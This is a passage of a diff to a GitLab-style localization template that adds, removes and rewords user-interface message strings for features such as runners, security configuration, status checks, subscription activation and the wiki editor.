msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28810,16 +29319,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28834,6 +29352,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28846,6 +29367,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28858,10 +29382,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28870,6 +29394,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28924,6 +29451,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28942,9 +29472,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28966,9 +29493,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29137,6 +29661,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29203,6 +29730,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29437,6 +29967,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29590,9 +30123,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29827,9 +30357,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -30072,6 +30599,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30165,6 +30698,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30402,6 +30938,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30708,6 +31247,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30723,10 +31265,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Deploy"
+msgstr ""
+
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30948,18 +31493,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30993,9 +31577,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31050,6 +31631,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31155,6 +31739,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31266,6 +31853,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31290,6 +31880,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31401,42 +31994,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31446,18 +32090,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31476,6 +32150,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31698,6 +32375,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31856,9 +32536,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -32002,6 +32679,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32032,7 +32712,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32057,6 +32737,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32250,6 +32933,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32295,6 +32981,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32313,9 +33002,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32619,9 +33305,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32688,12 +33371,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32721,6 +33398,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32784,9 +33464,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32829,9 +33506,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32955,7 +33629,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33057,9 +33734,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33393,6 +34067,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33435,9 +34112,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33462,6 +34136,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33513,9 +34190,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33546,12 +34220,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33561,6 +34229,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33612,6 +34283,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33791,9 +34465,6 @@ msgstr[3] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33908,9 +34579,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34028,13 +34696,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -34064,9 +34732,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34266,6 +34931,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34491,6 +35159,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34734,6 +35405,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34893,6 +35567,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35214,6 +35891,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35223,6 +35903,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35331,27 +36014,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35484,6 +36185,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35505,6 +36209,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35616,6 +36323,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36185,15 +36895,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36233,9 +36943,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36263,16 +36970,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36305,9 +37012,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36552,6 +37256,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36660,6 +37367,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36678,12 +37391,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36693,6 +37412,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36714,9 +37439,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36885,6 +37607,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37089,6 +37814,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37200,9 +37928,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37485,10 +38219,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37527,6 +38261,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37557,9 +38294,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37759,9 +38493,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -38099,6 +38830,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38350,6 +39120,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38429,7 +39202,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38532,6 +39305,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38592,9 +39368,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38622,10 +39395,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
